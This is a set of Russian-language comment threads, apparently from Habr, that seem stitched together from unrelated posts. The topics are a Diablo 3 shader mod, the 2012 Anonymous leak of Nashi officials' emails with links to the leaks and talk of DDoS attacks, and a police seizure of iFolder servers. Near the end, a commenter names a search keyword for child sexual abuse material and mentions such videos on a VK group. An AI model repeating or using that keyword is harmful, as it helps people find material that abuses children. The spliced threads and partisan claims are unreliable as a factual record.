Mithgol
Привет, __vortex__ :)
iOrange
Вот только жаль что размітие влияет и на обычные «картинки». Вот если сравнить изображения вещей на сайде и в игре, то видно, что в игре они размыты, похоже что «мылится» весь экран в не зависимости от того модель это или битмап. Неприятно как-то.
helarqjsc
Если не нравится «мыло», то попробуйте Dark D3 Pixel Shader.
PavloG
Под вайном не работает. Да и мне не нравится только на изображениях вещей мыло, сама игра нормально смотрится.
WaveCut
У меня работает. Нужно d3dx9 и d3dx9_43 из вайнтрикса установить, и выставить d3d9 (сторонняя, встроенная); d3dx9_43 (встроенная, сторонняя).
UrsusDominatus
Не знал, спасибо. Забанить не должны?
soulburner
Насколько я знаю, никого еще не забанили. Да и я играю уже несколько месяцев с этим модом — нормально.
akaStiX
За шейдеры нет, а за вайн кто знает, тут опять жалобы появились: eu.battle.net/d3/ru/forum/topic/4211085028?page=7
Imposeren
а не разбирали от чего в gta4 тени так тормозят комп?
wind1r
я ГТА4 только мельком смотрел. Сильно не разбирался.
Недавно Anonymous взломали и выложили в сеть деловую переписку лидеров молодежного движения НАШИ (Якеменко, Потупчик), а так же чиновников(Хорохордин, Чугунов). От контента тошнит, объяснили хакеры.

twitter.com/Op_Russia
vk.com/wall-33876035_448
rumol-leaks.livejournal.com/
lj.rossia.org/users/kremlingate/
vk.com/op_russia
vk.com/public_op_russia
www.guardian.co.uk/world/2012/feb/07/putin-hacked-emails-russian-nashi
horohordin.livejournal.com/
ultrazashkvar.livejournal.com/
karasique.livejournal.com/

UPD: хаброюзер Borodean дал ссылку на луркоморье, где можно получить более подробную информацию о текущих событиях. Хотя стиль письма там оставляет желать лучшего…
Sony
Новостные сайты редко читаю, обычно новости о действиях Анонимусов узнаю именно с хабра. А сейчас случайно узнал об этом только спустя несколько дней с одного левого сайта. Вот и решил заполнить пробел…
Flexo
И спасибо. Узнал от Вас. )
antaries
Полностью согласен, многие СМИ-сайты напоминают своей подачей контента зомбоящик, поэтому для IT, Хабр наиболее целевой.
tripiz
И сюда пробрались?
KollinZ
На Dirty есть, на несуществующем есть, значит, и на хабре тоже могут быть.
resetnow
Да что за «несуществующий»? Уже который раз встречаю упоминание.
Evengard
Лепр… а впрочем, не важно.
alexxxst
Ааа так это всё про него… Ладно, спс) Понял.
Evengard
Лево руля!
Tobanab
Лепра — миф, юзернейм.
Dexter_Holland
А я на юзерпик просто красивую картинку поставил
nonname
подробнее на луркоморье можно почитать) закрытый коллективный блог, со своими мемами и сообществом)
mephisto
У луркоморья дуб зеленый,
Златая цепь на дубе том…
krovatti
И днем и ночью кот ученый
Все ходит по цепи кругом…
mephisto
Идёт на форум — флуд заводит,
На хабру — дело говорит.
El_mario_che
там чудеса- то баги в коде,
и линукс на ветвях сидит.
TheShock
Там на неведомых проектах
Следы десятков костылей
El_mario_che
Гос сайты там на курьих ножках
Стоят за миллиард рублей.
TheShock
На баш!
noopic
Мы же ещё не закончили!!! чего испортили =)
ivan386
Там Балмер Стив, над «пуском» чахнет,
И ждет, что IPO шарахнет.
El_mario_che
Анон там был, статьи постил.
А тот, что держит бакс зеленый,
За ним следил, и код ученый
На чанах сервера ложил.
Одну я помню: сказку эту
Поведаю теперь я свету…
El_mario_che
так он не существует
eigrad
Ex3NDR
А почему так злобно? По-моему тут единственное место, где можно обсудить эту весьма актуальную и острую тему с действительно компетентными людьми, а не сплетничать по комментариям в ЖЖ. И уж, тем более — не с журналистами…
romign
Ничего, ещё немного подождать и демократия придет в Россию!
harmboy
UA2FGF
В этой картинке больше смысла, чем кажется на первый взгляд.
woworks
А почему с востока на запад?
freem4n
Чтоб никто не догадался.
HoochieMen
А это уж как лететь… Земля-то круглая ;)
fenrirgray
Ну что сказать, пора собирать подписи на создание партии Anonymous. Я думаю именно с таких абсурдов и начинаются великие перемены. Где там путиновский проект по «самоуправлению»?
Regis
Уже есть Пираты и они пробуют зарегистрироваться.
switlle
Не дали им зарегистрироваться — Минюст заявил, что пиратство — уголовно наказуемое деяние, а поэтому с таким названием им оформиться не дадут.

Привет с ЕГ, btw.
Vokabre
Это было довольно давно, была мысль зарегистрировать партию «Без названия», но решение оспорили и скорее всего будет «Пиратская» через какое-то время.
ksenobayt
Мне очень сомнительным кажется, что Минюст сменит свою идиотскую риторику. Но дай-то Б-г.
Vokabre
Всё-таки одно из требований митингов — упрощение регистраций партий. Хотя бы для вида зарегистрировать пару объединений придётся.
ksenobayt
Только вот сомнительно что ПП станет оным примером. Скорее, это будут какие-нибудь «Родители за нравственность» (вроде подобных неадекватов).
Vokabre
Какая разница как она называется, главное что она делает. Потому что «главная» партия страны и так называется «красиво», а толку даже не 0, а далеко в минус.
Но если важно название так и назвать — «Анонимная партия».
ksenobayt
Любопытно, когда Anonymous взломали почту какого-нибудь американского чиновника или положили сайты американские, то это новость номер один для Хабра и борьба за мир во всем мире, а если взломали российского чиновника/сайт — то Хабр сразу не для политики и не нужно раскачивать лодку.
switlle
Да это неважно, Россия это или США. Но на айти ресурсе… Если нет описания техники взлома — это левая статья. Может и хорошая, но не по теме хабра.
DobroFenix
Ну моё замечание ни столько статьи касалось, сколько коммента выше. А что касается самой статьи, то как-то не тянет на статью, причем не только для Хабра.
zapimir
Техника взлома — подобрали пароль уровня «12345» или «пароль», скорей всего.
int03e
Пробегало, что у президента Сирии на гмыле именно такой пароль… был.
zapimir
Есть и техника взлома: rumol-leaks.livejournal.com/5183.html
Ничего оригинального, правда.
betrachtung
Мне уже кажется, что хабр становится не сколько четко ИТ направленным ресурсом, сколько резиденцией для русскоязычной ИТ интеллигенции.
Valery35
С определенным входным цензом и правилами общения.
Тут аналогов тоже, увы, пока нет.
ComodoHacker
политика — она везде… тем более в тех ситуациях, в которых находятся наши страны
Sicness
> В каком месте Я не прав и откуда столько минусов?
Вы букву «я» зря в верхнем регистре написали.
Valery35
Судя по минусам, у Вас )
vosi
«Вне политики» в нашей Вселенной не бывает.
DobroFenix
Хабр всё больше превращается в развлекательный ресурс. Всё больше сообщений-шуток… ещё хуже что эти сообщения поощряются голосами и рейтингом. Шутки конечно хорошо, но когда по делу на весь пост всего 2-3 сообщения (они часто ещё и минусуются т.к. это не смешно и не интересно), а другое пустой трёп и выставление плюсов за лучшие шутки, то хабр теряет свою привлекательность.
Всем конечно хочется побазарить о политике, особенно сейчас. И мне лично хочется покачать эту прогнившую лодку, чтобы сидящие там слезли и влезли новые люди. Но давайте писать по делу и не поощрять посты-шутки. И новостные статьи на хабре тоже думаю как-то отделять нужно.
Может автор сообщения совсем уж и не из-за несчастной лодки это написал, а потому что большинство этого поста сплошная хохма.
RussianNeuroMancer
Что-то мне подсказывает, что группа Anonymous — это не только американцы. Русским там тоже место нашлось, ну, а у них свои цели…
Zelgadis
Это ведь не конкретная группа людей. Даже не так, это не далеко не одна группа людей.
antaries
Anonymous — это не движение, а идея.
Нет партийного списка, нет четко ограниченных рамок — любой может им быть. Достаточно лишь назвать себя таковым.

Оффтопик: от подобной поцреотической паранойи уже попросту тошнит.
Zelgadis
Наверное, примерно потому же, почему нашисты не дидосили мерзотную LifeNews и прочие жареные новостные ресурсики, но дидосили Ленту, Дождь и Коммерсанта, Газету, «Карту нарушений», сайт Голоса, и засирали ботами актуальные хэши в Твиттере.
Novikov
Потому что:

1. Госсектор имеет властные полномочия и может, в том числе насилием, принуждать граждан.
2. Госсектор собирает наши налоги, забирает людей в армию, собирает кучу сборов. За это власть должна обеспечивать работу функций государства на должном уровне и соблюдать законы.
3. Люди живут не в «болванках», а в России.
vslive
Потому что после начала публикаций содержимого почтовых ящиков «нашистов» начался DDOS 2ch.so
zipper
Я все понял. Анонимусы творят добро. Простите меня! Заблуждался.
Flexo
Не трогать Почту России!

От них хоть какая-то ощутимая польза в виде того что доставляют-же!
Каждый месяц получаю пару-тройку посылок с ибэя! В отделении связи милая и приятная девушка Александра которой не жалко периодически принести шоколадку! Очереди бывают редко! Индекс моего отделения связи 160033! Деаноньте, если хотите, но меня мое отделение связи радует на 146% !!!11111
amureki
Если бы вы представляли, как они после этого не любят шоколад.
ksenobayt
Только не Почту России! Только-только ожила, а если опять сломается, будет плохо очень многим. За исключеним, пожалуй, самой почты.
zipper
Конечно-конечно, всё это происки госдепа.
ksenobayt
Ну, хороших ребят тут быть не может, с обеих сторон
Novikov
Зря минусуете, вполне адекватное мнение.
DarthVictor
В этих ваших политосрачах минусуют пожестче, чем в холиворах. Эпик какой-то.
zipper
Они стали теперь более лучше отчитываться за распил своих буржуинских вражеских бюджетов же :)
smarteq
Думаю Anonymous это сейчас отличное прикрытие для любого деяния. Некий бренд, которым сейчас пользуются все кому не лень и не понятно кто стоит за конкретным взломом.
Раньше бы написали: «взломали неизвестные», а сейчас Анонимус. :)
Grox
А какая разница? У каждого есть выбор — верить информации, или не верить.
Голова на плечах есть, одиннадцать класов в голове есть — значит, как минимум, анализу информации человек обучен.
dime
С каких это пор в школе учат анализу?
Naps
У меня мат. анализ был в школе с девятого класса.
Vagineer
Преподавалось дифференцирование информации, интегрирование информации и исследование информации на экстремумы и предельные значения.
gxcreator
У меня был физмат углублённой формы изучения, где нам помимо прочего преподавали теорию рядов (Фурье и степенные точно были, про остальные не уверен), векторный анализ, и до кучи — теорию Лебега на факультативах.

В любом случае, моя точка зрения на это такова, что любой человек, закончивший одиннадцать классов, сам способен решить, чему верить, чему нет.
timurminulin
да, мы в школе прошли матан первого семестра мехмата, можно было не напрягаться, а еще дополнительно грузили элементами теории чисел и общей алгебры с 3-го курса мехмата МГУ

и ведь все равно остался дурак-дураком
Valery35
Одна из ваших ошибок в том, что вы уверены будто владеете информацией.
Я со своей стороны в этом более чем не уверен.
Ajex
каким же образом?

«у меня на столе элементы управления авианосца Мистраль» — решите пожалуйста, верить этой информации или нет (желательно аргументированно, можно с привлечением методов мат. анализа)
ksenobayt
А зачем тут мат. анализ?

К Вашему абсолютно гиперболизированному примеру применима банальная Оккамэ — с гораздо большей вероятностью это не так, потому что Мистрали, в первую очередь, вертолётоносцы, а во вторую — производятся во Франции, а Вы живёте в России.
Evengard
а вот и не угадали
ksenobayt
В любом случае, мы оба знаем, что деталей элементов управления у Вас нет — так что давайте не будем заниматься ерундой, окай?

Вам мой пример был абсолютно понятен, как и моя точка зрения. Доведение ситуации до абсурда все равно не подтверждает то, что на самом деле Анонимус созданы для скармливания дезинформации, равно как и того, что правду ото лжи никто отличить не сможет.
dea
Ничем не могу вам помочь — факт у меня на столе, а вы не владели достаточной информацией для решения. Думаю ситуация с Anonymous настолько же, если не более, не поддается оценке с вашей (нашей) стороны.
ksenobayt
Prove it or drop it.

Действия анонов подтверждения находят: та же почта (к ней приложена DKIP), те же атаки, те же сливы.

Ваши действия \ заявления не подтверждаются ничем, а следовательно, достойны деления на нуль.
dea
Ваша следующая ошибка в том, что вы руководствуетесь верифицируемостью информации, точнее полагаете, что руководствуетесь. Эта ошибка позитивизма была отвергнута еще в первой половине XX века. Впрочем эта тема разговора сложнее, чем мне бы хотелось.
ksenobayt
думаю не ошибусь, если скажу, что бОльшая часть человеческих ошибок делается при твердом ощущении очевидности принимаемого решения
dea
уже прогресс, осталось допустить то, что обывательских данных недостаточно и для того, чтобы судить о текущем положении дел
ksenobayt
тогда я пока откачусь на шаг назад
dea
хотя с авианосцем описался, факт
ksenobayt
Я учился в обычном классе и у меня были экстремумы и пределы. А вот что такое дифференцирование и интегрирование ИНФОРМАЦИИ, я выпускник специальности математическое обеспечение и администрирование информационных систем так и не понял.
dea
возможно потому, что не преподавали мат.юмор с восьмого класса
ksenobayt
«тысячи анонимусов приехали на автобусах ддосить поклонную гору»
dea
На съёмную квартиру, не путайте.
ksenobayt
вариантов много. это всего лишь пример конструкции
dea
Вы сурковская пропаганда.
ksenobayt
Как раз вчера V for Vendetta пересмотрел…
dea
Вы всё-таки слишком серьёзны. Это же было доброе пожелание успехов во всех начинаниях. Ребята, не знаю, какая у вас там ситуация в стране, но разве стоит из-за этих проблем лишать себя улыбок и хорошего настроения?..
ksenobayt
Щас великий модернизатор опять топнет ножкой, выступит с посланием к народу по телевизору и приказом немедленно прекратить взломы сайтов, как это было с DDOS жж.
dea
Возьмут под личный контроль.
ksenobayt
DDoS?
dea
ЖЖ :)
dea
Он среагирует только когда твиттер начнет виснуть. Или вконтактик. Как ему без них в веселую ферму шизоватьстраной управлять?
Hoorsh
Правильно. Единоросы сейчас DDOSят все сайты где были выложены архивы с их перепиской.
dea
К слову, есть мнение, что рутрекер лежит тоже из-за этого.
Xlab
Так это сразу было известно, я думал все в курсе =)
popopo
Есть ссылка на торрент?
vadim2
По первой ссылке из поста дают ссылки на торренты.
popopo
Это я видел. Я имею в виду именно на тот, из за которого рутрекер лёг.
Mithgol
Ну да, наворовали столько, что могут себе позволить прописать вечный ДДоС некоторым сайтам…
Naps
эффект стрейзанд сработает
Yakiv_Gluck
Что за эффект стрейзанд?
Yakiv_Gluck
Вот он в действии!))
Elkan
«Попытка удалить определённую информацию приводит лишь к её более широкому распространению.»
Sterhel
На эту тему есть интересный фильм «Черное зеркало» 1-я часть.
Да и остальные части айс!
ngreduce
это гениально, спасибо большое.
up01
Три дня из-за этих уродов не могу с рутрекера несколько альбомов забрать. К слову сказать — не коммерческих, пиратством тут и не пахнет. Одно непонятно — что они суетятся-то сейчас, переписки этой только у ленивого сейчас нет, раздачи прут со свистом, быстрее, чем свежий кассовый фильм. Личеры-то прибывают со страшной скоростью…
harmboy
Все тенденции и так были заметны, а именно вбросовые ролики (на которые, к сожалению, многие ведутся), аномальное количество комментариев в поддержку путина-ЕР, необоснованное количество лайков.
Разве что теперь, хорошее доказательство реальной деятельности «нашистов», сколько стоит накрутить лакйов\просмотров, сколько стоит собрать народ на псевдомитинг, заддосить сайт, купить популярный блог или сделать ролик.
причем наших денег, которые Сурков любезно предоставляет…
mIK_LH
Кстати, что интересно, на хабре они беззащитны, ведь тут ботами писать сложно) Но если попытаются, хабр получит много полезных статей.
resetnow
Да, много полезных статей в духе «Взломан сайт службы безопасности Ляндии», «Как читать документацию к CSS3» и «В Новой Зеландии поборники копирайта съели трёх пиратов».
Несомненно, им легко найти применение.
NicholasSerov
Мне было полезно увидеть суммы. И даже не потому что они оказались большими или маленькими, а потому что они показали отсутствие какой-то системы. Говорят китайцы платят два юаня за комментарий и я думал что у «наших» тоже есть какой-то прайс. А оказалось что там полный хаос. Кому-то не платят ничего, только обещают, кому-то дают натурой (поступлением в ВУЗы), кому-то мелочь а кому-то и миллионы за «ролик в ютубе».

Стало понятно почему такой бедлам творится с их «пропагандой».
ainu
Не хочу я смотреть ни на чью пропаганду, тем более здесь.
alexkbs
Уже не Сурков, уже Володин. При всей неоднозначности Суркова, он интеллектуал и его методы довольно изощрённые были, теперь всё будет тупо: митинги, админресурс, закручивание гаек. Хотя на деятельность «Наших» эта глобальная политика вряд ли сильно повлияет, если только их не признают ненужными.
ainu
Ну боты поумнели. Если раньше, это были буквально боты, автоматом оставляющие одинаковые или типовые комментарии, то теперь (поняв что сильно палятся) они нанимают настоящих живых людей за деньги троллить «запутина» и «навальныйшпиёнгосдепа» во всех интернет ресурсах. Вполне себе прогресс :)
Flexo
Как то в ICQ постучался неизвестный номер, предложили написать авторегистратор на сайт rosvybory.org, типо в ручную этим заниматся не хотя. Я отказался, но вот теперь думаю — кому бы понадобилось это применять; а не те же «нашисты» мне стучали?
Hoorsh
Кстати, немного технической информации. Ресурсы у атакующих достаточно велики: их хватает, чтобы держать в нерабочем состоянии одновременно четыре имиджборды и bayfiles, причем два сайта защищены CloudFlare.
График для 2*.so:
mIK_LH
От кого вы сосач охраняете? От хабражителей?
rauch
На всякий случай, там и так предостаточно народу. Кто знает — поймёт.
JagaJaga
Ох, история повторяется. /b/ was never good.
romign
Гигабитный Ддос? О_о
DoctorChaos
…по четырём направлениям. Плюс, возможно, рутрекер.
harmboy
На самом деле, интересно. Не думал, что в России гигабитную атаку можно без особых проблем организовать.
Хотя, конечно, если трафик лупит из-за бугра, все объясняется гораздо проще.
Alex42rus
Думаю, ботнет можно купить. Или заказать такую атаку. В любом случае при наличии денег особых проблем возникнуть не должно.
Alex42rus
Я имел в виду, именно российскими ресурсами, то есть внутренним трафиком. Собственно, если Китай или Штаты — я не удивлён.
Rive
Когда ддосили lj.rossia.org, Вербицкий сказал, что основной трафик — из Пакистана, плюс Индия и Иран.
voronaam
Ну тогда объёмы легко объясняются. Спасибо.
int80h
DDoS в пределах 10 GbE сегодня уже не редкость.
Osaka
Как я пропустил такое чудное чтиво ранее, пол оффиса читает — работа стала)
Zigmar
Жаль что никто из действующих лиц не знал о происходящем) Вообще все пошло от сюда www.securityweek.com/ddos-attacks-exceed-100-gbps-attack-surface-continues-expand но речь шла о другом.
vadim2
ух ты
resetnow
Думаю с теми суммами, что выделяет Сурков (кстати наших с вами денег) — ни разу не проблема. Ни технически, ни организационно…
bootch
под 37Gb бывали
resetnow
Абу же сделал хитрость, поставив редирект с вырезано цензурой на сайт нашистов, итог: нашисты заддосили сами себя.
catsmile
Кстати, вы не знаете, сколько приблизительно стоит такая атака?
mIK_LH
Интересно, что блог horohordin ужé переведён в состояние suspended.

Оперативно работают.

Прозреваю, что поводом послужило использование фамилии Хорохордина.
resetnow
Скорее поводом послужило выкладывание там «интересных» моментов из его взломанной почты.
ksenobayt
resetnow
Спасибо за ссылку. Асилил.
ksenobayt
не понимаю вашей истерики — это название группировки с нестабильным членством, вышедших из одной субкультуры.

извините, что был вынужден сыграть Капитана Очевидность.
MikhailEdoshin
Нету никакой группировки.
ksenobayt
Многие (и здесь в том числе) этого не понимают: habrahabr.ru/blogs/infosecurity/135721/#comment_4511695
borbelyua
likenoother
Да у меня НЕСПРАВЕДЛИВОСТЬ от всех вас.
Tronum
borbelyua
субкультуры
анон
культура
/0
genesis39
панки — тоже субкультура, например. PHAIL.
давайте не будем флеймить.
harmboy
>Группировка Hipsters посетила очередной концерт группы Black Keys.
gaploid
Ещё бы Hipsters от имени всех Hipsters делали бы заявления, вели бы твиттер Hipsters…
Borodean
Что мешает кому-то завести твиттер hipsters_official и делать заявления от лица всех хипстеров?
MikhailEdoshin
Никто, фактически. Так же как туземцам никто не мешал строить аэропорты из веточек, а «авиа-диспетчерам» одевать на голову две половинки кокоса вместо наушников.
Mithgol
>Ты не совсем понимаешь, парень. У нас есть отличный шанс пояснить по-хардкору ребяткам, что всякое говно, вопящее из-под шконки «Я АНАНИМ Я ЛИГИВОН» — не аноним вовсе. Пояснить, что нет никакой хакерской группировки «АНОНИМУС». Пояснить, что у нас нет ни общей цели, ни общих взглядов на вещи. А объединяет нас лишь маленькая, едва заметная особенность мировоззрения и способность быстрой работы с большим количеством информации. Пояснить, что мы вовсе не хотим никакой войны или революции, что наша единственная цель — лулзы, веселье. Пояснить, что всех, кто зовёт себя анонимом и как-либо публично демонстрирует свою причастность к нам, нужно безжалостно топить в септике деревенских сортиров. Воскресить дух старой школы и хотя бы немного поднять наш имидж в глазах общественности. Раз уж нам не избежать повсеместного ракования, то обернём его себе на пользу, и, за счёт стремления позеров к труёвости, приблизим их к такому состоянию, в котором они будут причинять нам минимум вреда и дискомфорта.
AlexSky
Ну, я щас схлопочу кучу минусов, но все-таки: как писать на хабре зелененьким? :)
Borodean
<font color="green"></font>
Borodean
Ну, теперь-то точно схлопочу =^_^=
ShiawasenaHoshi
У меня ощущение, что какая-то партия придумала использовать слово Anonymous в своей предвыборной кампании.
vessi
Уже не актуально, но все же стоит добавить к топику. pastebin.com/PeQ6CMXh
Borodean
Так может и недавнее порно на первый канал они залили? Уж очень совпало.
RussianNeuroMancer
Кстати, я так и не увидел ответа от официальных представителей, откуда оно там взялось.
Borodean
Я единственный кто в топике не увидел взломанных сайтов ЕР?
Borodean
rev
Судя по содержимому, ломают не сайты а почту, и выкладывают переписку. Не знаю достоверность, но то, что уже есть — та ещё жесть.
Zelgadis
Барабаны за 8 млн.рублей, которые потом выкинули в мусорные контейнеры не жесть?

vessi
Хлеб, который выкидывали в мусорку функционеры и члены их семей в осаждённом Ленинграде — не жесть?
Хлеб, к слову, просто заплесневел.
Zelgadis
Не все плесени одинаково полезны
Borodean
Барабан, все таки, можно починить.
mediagenia
О, нет, это весьма жёстко. Детально был с содержанием почты не знаком.
betrachtung
Уход от налогов в одном только эпизоде на 7 млн рублей, деньги тратятся на оплату массовки в митингах и на подобные дела.
mediagenia
А нельзя сделать на хабре отдельный блог, куда бы попадали все подобные статьи, которые хоть и интересны IT-шникам и связанны с ними… Но всё же не несут никакой технической информации. Что-то вроде «Хабрановости» или «Дейстия организации Anonymous»?
Borodean
… А потом удалить его.
Grundiss
Ребят, дайте в говне покопаться, в смысле переписку полистать? Сливмылодотком всплыл брюхом, по .i2p у меня тоже не ходит почему-то… Можно в лс, спасибке.
AlexanderPHP
тут столько выложили, читай rumol-leaks.livejournal.com/
genesis39
Так или иначе: все вокруг политики крутится и наша жизнь так или иначе связана с ней. Вопрос в другом: когда в реале зачастую не удается доказать все успехи той или иной «партии» (назовем их так), а СМИ уже приелись — то остается интернет. Но ошибка была в том, что методы в интернете были использованы такие же «желтушные» как и в реале, насколько я помню началось все с ДДОСов оппозиционных сайтов, взломов почты и т.д. Это «желтушный» метод и в интернете он не всегда работает.
equand
Только у меня отвращение из-за «Официальных группы Anonymus» созданных сегодня и которые врядли являются официальными?
mrded
Я написал про «Вконтакте» группы. Может есть и вправду инициальная группа, знает кто?
antivir
«Официальная», случайно заменил не тем словом.
Naps
Все европейские новости кричат о нашистких гастралерах-антифашистах, расшатывающих строй в Прибалтике и Греции.

Крупнейшие американские издания постят восторженные статьи о русских борцах с режимом, а русские издания ужасаются ужасным хакерам, тратящим десятки тысяч долларов ради уничтожения России.

Глава Нашистов уходит в отставку, на его заместительницу заводят уголовное дело.

В противовес отделение К кладет 2 молодежных сайта с посещением максимум тысячи в две человек в день.
mediagenia
Письма Потупчик уже лежат в виде сайта potupchik.com/
Проверяйте DKIM, туда могут пихать левые письма, так как достоверность ресурса неизвестна
RussianNeuroMancer
Будет забавно, если после этого топика и хабр ляжет вслед за бордами.
ainu
Да и Гугл заодно, говорят у него есть кэш.
mediagenia
[irony] А я за путина! он наше все! как жаль что он не может быть царем![/irony]
код агента QmfdN7m
freem4n
Когда начал читать у меня аж глаза раскрылись ото сна: «О_О сколько минусов сейчас схватит этот человек?» Потом заметил тэг (:


Сервис iFolder закрыт следователями 3-й СЧ ГСУ при ГУВД Москвы.
Сегодня, 17.03.2010 в помещении дата-центра, находящегося по адресу 2-ая ул. Энтузиастов д. 5, появились следователи из 3-й ЧС ГСУ при ГУВД Москвы. Они предъявили протокол о необходимости проведения оперативно-розыскных мероприятий с целью поиска улик, размещенных на сайте iFolder.ru

Администрация сервиса предложила сотрудникам оказать максимальное содействие в поиске и получении нужной информации, а также в установлении личности пользователя, который ее разместил. Однако сотрудники милиции отказались от любой помощи и попытались вывезти ВСЕ оборудование Агавы, размещенное в этом дата-центре, для проведения собственной экспертизы. В результате переговоров вывоз оборудования удалось предотвратить, но, к сожалению, в качестве «альтернативы» сотрудники МВД выключили и опечатали все сервера проекта iFolder, а также и другие сервера компании, не имеющие никакого отношения к проекту.

Компания Агава считает произошедшее беспрецедентным событием, которое ставит под угрозу и сомнение факт существования и развития любого бизнеса в Рунете. Мы намерены бороться и отстаивать интересы сервиса и его клиентов, а также заранее благодарим клиентов за информационную или любую другую помощь в этом деле.

p.s. Хостинг сервера, к счастью, не затронуты.

UPD: Президент обратил внимание на ситуацию



UPD2: ifolder.ru снова работает! Спасибо вам за ваше терпение и поддержку!

mdss
взятку
ratiomaster
Походу нашли на жопу приключений, у AGAVA на адвокатов деньги есть, и поэтому запасаемся попкорном.
xarigul
Вам к попкорну вести с полей: www.vesti.ru/doc.html?id=348091
shamaner
известие вестей «выдавило скупую мужскую слезу». правда есть.
guessss_who
Меня, честно говоря, пугает, насколько радостно воспринимаются такие новости. Типа «Вот какой царь Президент у нас хороший — заступился всё-таки за неповинных людей перед боярами беспредельщиками!».

Не так всё должно быть! Подобные вещи должны регулироваться законом, а не Президентом. Тогда можно будет сказать, что «правда есть». А при сегодняшнем раскладе — правды нифига нет. Есть беспредел, и над этим беспределом есть Президент, который иногда может его немножко присечь, если холопы граждане поднимут скандал в пока что не запрещенном им интернете.
shamaner
ну так а я про что. здесь нет тега ирони- я страдаю от этого
shamaner
известие вестей «выдавило скупую мужскую слезу». правда есть.
izzik
cотрудники органов пришли к хостеру с обыском в связи с жалобой на детскую порнографию, размещенную в обменнике iFolder.ru. Однако они не смогли сами разобраться, какой именно сервер им нужен. В то же время милиционеры не захотели поверить сотрудникам «Агавы», которые предлагали им указать нужный сервер.
Aneto
Вторая новость по действии милиции с детской порнографии, кого следующего закроет? Vkontakte.ru? :)
ZVaness
Эх, мечты...(с) =)
k0t_igrun
«Есть же там то чего нету, грубо говоря, нигде кроме как там» — осторожно, Черномырдин может призвать к ответу за использование авторского стиля.
alen4ever
Это можно на Башорг размещать))
contrabas
Черномырдин известен своими фразами, например «Здесь вам не тут».
lashtal
Простите, оффтоплю, но упоминая Его нужно давать эту ссылку:
jurij7070.livejournal.com/266021.html
78ds
Возвращаясь к теме топика. Вот в чем отличие Казахстана от России. У нас в Казахстане, нет людей, но есть организация, у вас в России есть люди, которые понимают что к чему, но нет организации. И дело не только в том, что у нас в Казахстане есть Движение «За Свободный Интернет», которое я представляю, и с которым, несмотря на его немногочисленности в реале, и очень малую долю в нашем Движении айтишников, судя по реакции на наши заявления и акции, власть вынуждена считаться, а у вас в России (если, не считать личных инициатив) такого общенационального Движения нет. А в том, что так во всем: грамотных и активных — инициативных и волевых людей много, а организации нет, а у нас активистов мало, а организация на общенациональном уровне существует. То есть условно говоря, у вас есть граждане без гражданского сектора, а у нас есть гражданский сектор без граждан.

К чему я это всё написал. Посмотрите хотя бы на количество комментаторов этого поста, вы же сила — реальная сила! Вам нужно организоваться и бороться за свои права, за своё будущие, за свою страну. Да и нам нужно взаимодействие — Интернет это глобальное явление, отстаивать права человека и свободу слова в Интернете надо сообща, надо сообща давить на правительства, чтобы они выполняли международные обязательства, и надо инициировать принятие глобальных правозащитных документов для Интернета.

Поэтому необходимо, что в России появилось свое движение за свободный Интернет, чтобы потом мы могли создать Интернет-Интернационал. Нам нужна ваша помочь, в освещение деятельности, в выводе борьбы за свободный Интернет в Казахстане на международный уровень, а мы с вами поделиться нашим опытом организации деятельности по борьбе за Свободный Интернет — против цензуры и блокирования независимых сайтов.
django
Всё это мило, но мы не в тех странах живём, чтобы иметь «свободный Интернет». И хоть ты сто раз «организовывайся и борись за свои права» всё равно когда кому-то понадобится «проверить улики» — он их проверит. Если кому-то надо будет выполнить план и кого-то посадить — быстро найдут очередного жж-карикатуриста на ввп — и посадят. А с теми кто несогласен и будет кричать «о своих правах» — «договорятся», как уже почти сотню лет в этой стране договаривались. Давить на правительство можно на западе, но не тут.

Никакие объединения и пиратские партии в постсовке ничего не добьются. Если конечно случится обратное, и я буду в этом не прав — я буду только рад что ошибся. Но верится в это с трудом, надо реально смотреть на то что происходит в стране.

Я вообще радуюсь и сейчас — тому что интернет РФ пока не китайский, и не казахский. Хотя ввиду последних событий и эта радость может скоро закончиться.
78ds
Так на Западе не всегда были при правах. Люди боролись за свои права, а мы всё рассчитываем, что всё само с неба упадет
agathis
да ничего, есть надежда, что у нас уже и без организации скоро будет свобода, и не только в интернете.

потому что нас много, да. а их пожалуй, уже меньше.
78ds
Прилетят инопланетяне и всё сделают за вас.
agathis
было бы неплохо. но, боюсь, придется самим.
рванет оно скоро, а там главное не теряться.
shamaner
в Казахстане вы добились разблокирования жж изза тестя Назарбаева? тогда к чему и кто прислушивается к Вам?
78ds
Будите смеяться, но мы добились разблокирования сайта дистанционного образования МГУ и code.google.com. Да-да, и они тоже были заблокированы. После нашей разгомной критики расформировано ведомство, которое придумало этот закон, по которому все сайты (и даже не только сайты, а все интернет-ресурсы) всего мира приравнены к СМИ и подсудны суду Астаны, и которое, как мы полагаем, и занималось блокирование сайтов. Правда, его руководитель переведен на руководство телекоммуникационного монополиста Казахтелеком. Но не чё, одно из положений нашей Программы, добиться отмены на размещение сайтов доменной зоны KZ на иностранных серверах (правда, и до этого на это мало, кто обращал внимание), уже выполнено, так что мы сможем добиться и демонополизации телекоммуникационного бизнеса, более принципиального положения нашей программы, потому что цензура, это прежде всего не злонамеренность правительства, а отсутствие конкуренции.
shamaner
пока жив Назарбаев Вы не добьетесь разблокирования жж, сайта зятя и сайтов которые печатают его мемуары-который заочно приговорен, когда посрался с зятем делая копии всех переговоров и не только высокопоставленных чиновников, затем выкладывая по частям на эти сайты.
78ds
Ну, это зависит, от качества нашей работы. А кто не верит в себя — не борится за свои права, тот живет при тирании
shamaner
Чтобы жить без тирании нужно удалить тиранию.
78ds
О чём я и говорю
AigizK
...«Мы будем уничтожать наше ядерное оружие вместе с Америкой»…
Спасибо, подняли настроение
mokaton
Прочитал раз 5 эту фразу, но так и не понял её значение! %)
artch
«Там есть вещи, которых нет больше нигде, кроме как там».
mokaton
Спасибо! ))
mihmig
Так и наследники Кирилла и Мефодия найдутся! Насчитают за КАЖДУЮ букву!
yvanko
Педобиру нравится детское порно. Так-то.
kostitsyn
Кэээп, сколько лет, сколько зим :-)
M_org
на mail.ru раньше была группа со ссылками на видео в контакте.

да, там есть ДП.
vladon
pthc? думаю, у любителей ДП есть и другие кодовые слова, по которым можно найти.

вот когда та группа существовала и ссылки на неё со скандалом прокатились в блогах — видеороликов было побольше.

может щас поскрывали.
M_org
Он не знает про торренты?
vladon
Стиль у вас, конечно, потрясающий, но в общем соглашусь. Не совсем понимаю воплей «школота вконтакте» — да, там есть и школьники, и студенты, и даже люди за 50.

